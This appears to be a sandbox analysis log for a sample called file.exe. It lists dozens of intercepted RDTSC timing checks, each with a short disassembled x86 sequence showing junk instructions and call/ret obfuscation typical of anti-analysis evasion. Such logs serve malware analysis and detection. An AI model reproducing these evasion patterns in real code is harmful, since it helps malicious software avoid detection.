Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1100CAD second address: 1100D09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007FB39CE8BFD8h 0x0000000d push 00000000h 0x0000000f mov ebx, dword ptr [ebp+122D3781h] 0x00000015 push 00000000h 0x00000017 pushad 0x00000018 pushad 0x00000019 mov dword ptr [ebp+122D2779h], edx 0x0000001f and edx, 0204B1B1h 0x00000025 popad 0x00000026 jmp 00007FB39CE8BFD7h 0x0000002b popad 0x0000002c xchg eax, esi 0x0000002d js 00007FB39CE8BFD4h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1100D09 second address: 1100D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1102DFF second address: 1102E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FB39CE8BFC8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 ja 00007FB39CE8BFCCh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007FB39CE8BFC8h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 jbe 00007FB39CE8BFC7h 0x0000004d stc 0x0000004e jmp 00007FB39CE8BFD7h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1102E7D second address: 1102E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1102E81 second address: 1102E8B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB39CE8BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1103ED5 second address: 1103EDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1103EDB second address: 1103EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1103EE1 second address: 1103EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1103EE5 second address: 1103EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1103EE9 second address: 1103EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FB39CDCA20Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1103EFB second address: 1103F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebx 0x00000009 call 00007FB39CE8BFC8h 0x0000000e pop ebx 0x0000000f mov dword ptr [esp+04h], ebx 0x00000013 add dword ptr [esp+04h], 00000017h 0x0000001b inc ebx 0x0000001c push ebx 0x0000001d ret 0x0000001e pop ebx 0x0000001f ret 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007FB39CE8BFC8h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov di, cx 0x0000003f push 00000000h 0x00000041 or dword ptr [ebp+1246F54Eh], edi 0x00000047 xchg eax, esi 0x00000048 jmp 00007FB39CE8BFCEh 0x0000004d push eax 0x0000004e js 00007FB39CE8BFD2h 0x00000054 js 00007FB39CE8BFCCh 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1104F9D second address: 1104FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1104FA7 second address: 1105021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 jp 00007FB39CE8BFD5h 0x0000000e pop ebx 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FB39CE8BFC8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov dword ptr [ebp+12450217h], edi 0x00000030 mov dword ptr [ebp+122D1806h], ebx 0x00000036 push 00000000h 0x00000038 jmp 00007FB39CE8BFD9h 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+12450249h], esi 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 push eax 0x0000004a pop eax 0x0000004b push edi 0x0000004c pop edi 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10FFE74 second address: 10FFE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1105F88 second address: 1105F92 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB39CE8BFCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11090A0 second address: 11090A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11090A6 second address: 11090AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1107021 second address: 11070DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FB39CDCA206h 0x00000009 jmp 00007FB39CDCA216h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FB39CDCA208h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c jmp 00007FB39CDCA20Fh 0x00000031 push dword ptr fs:[00000000h] 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FB39CDCA208h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 jc 00007FB39CDCA20Eh 0x00000058 jnc 00007FB39CDCA208h 0x0000005e jp 00007FB39CDCA20Fh 0x00000064 mov dword ptr fs:[00000000h], esp 0x0000006b xor edi, 29ED9610h 0x00000071 mov bx, 3D5Ch 0x00000075 mov eax, dword ptr [ebp+122D0E5Dh] 0x0000007b sub edi, dword ptr [ebp+122D180Bh] 0x00000081 push FFFFFFFFh 0x00000083 nop 0x00000084 push edx 0x00000085 push eax 0x00000086 push edx 0x00000087 pushad 0x00000088 popad 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11070DE second address: 11070EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 110F73E second address: 110F75E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB39CDCA219h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 110F17C second address: 110F184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 110F184 second address: 110F197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 111661A second address: 1116636 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1116636 second address: 111663A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 111DBA6 second address: 111DBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 111DBAA second address: 111DBAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112313E second address: 112316B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCAh 0x00000007 pushad 0x00000008 jg 00007FB39CE8BFC6h 0x0000000e jmp 00007FB39CE8BFD8h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED42C second address: 10ED431 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED91E second address: 10ED922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED922 second address: 10ED92C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED92C second address: 10ED931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED931 second address: 10ED937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED9DD second address: 10ED9E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED9E1 second address: 10ED9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED9EF second address: 10ED9F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED9F3 second address: 10ED9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ED9F9 second address: 10EDA13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CE8BFD6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EDAEC second address: 10EDB32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB39CDCA210h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jnc 00007FB39CDCA213h 0x00000017 jmp 00007FB39CDCA20Dh 0x0000001c mov eax, dword ptr [eax] 0x0000001e je 00007FB39CDCA22Eh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FB39CDCA20Dh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EDD16 second address: 10EDD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EDD1B second address: 10EDD33 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB39CDCA20Dh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EDD33 second address: 10EDD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EDD3C second address: 10EDD40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EDD40 second address: 10EDD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FB39CE8BFCCh 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jl 00007FB39CE8BFC6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EDF56 second address: 10EDF71 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB39CDCA20Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE345 second address: 10EE3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007FB39CE8BFD0h 0x0000000f mov dx, 4BA0h 0x00000013 pop edi 0x00000014 push 0000001Eh 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FB39CE8BFC8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 add dword ptr [ebp+122D2D20h], ecx 0x00000036 ja 00007FB39CE8BFE3h 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jc 00007FB39CE8BFC6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE67B second address: 10EE6CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor cl, FFFFFFA6h 0x0000000f lea eax, dword ptr [ebp+1247C1D1h] 0x00000015 mov dword ptr [ebp+122D3707h], eax 0x0000001b mov dword ptr [ebp+122D1F38h], edx 0x00000021 nop 0x00000022 jmp 00007FB39CDCA213h 0x00000027 push eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE6CA second address: 10EE6E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB39CE8BFD3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE6E5 second address: 10EE71D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB39CDCA206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c and ecx, dword ptr [ebp+122D307Ah] 0x00000012 lea eax, dword ptr [ebp+1247C18Dh] 0x00000018 mov ecx, dword ptr [ebp+122D37A9h] 0x0000001e nop 0x0000001f jmp 00007FB39CDCA212h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE71D second address: 10EE721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EE721 second address: 10EE727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1122CED second address: 1122CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1122CF3 second address: 1122D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CDCA212h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11268F9 second address: 1126905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A6246 second address: 10A624D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10A624D second address: 10A6278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCCh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FB39CE8BFD9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112C5CD second address: 112C5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112C5D1 second address: 112C5EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112C5EC second address: 112C611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FB39CDCA21Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109D799 second address: 109D7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007FB39CE8BFC8h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109D7AA second address: 109D7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB39CDCA206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112B2F2 second address: 112B304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CE8BFCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112B304 second address: 112B30A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112B30A second address: 112B32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007FB39CE8BFD6h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112B32C second address: 112B346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007FB39CDCA211h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112B59D second address: 112B5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CE8BFCFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112BD52 second address: 112BD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112BD56 second address: 112BD66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FB39CE8BFCEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113494C second address: 113496B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB39CDCA219h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1134AB0 second address: 1134AB9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1134AB9 second address: 1134ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1135378 second address: 1135391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1135391 second address: 1135397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1135397 second address: 11353A3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB39CE8BFCEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11354E6 second address: 11354F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FB39CDCA206h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11354F2 second address: 1135513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB39CE8BFCBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 ja 00007FB39CE8BFC6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1135513 second address: 113552B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB39CDCA212h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113552B second address: 113552F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113552F second address: 1135535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113580B second address: 1135826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1135826 second address: 113583B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007FB39CDCA206h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007FB39CDCA20Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 113583B second address: 1135844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11346C5 second address: 11346D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB39CDCA206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11393B9 second address: 11393EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FB39CE8BFD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB39CE8BFCFh 0x00000011 jno 00007FB39CE8BFC6h 0x00000017 rdtsc
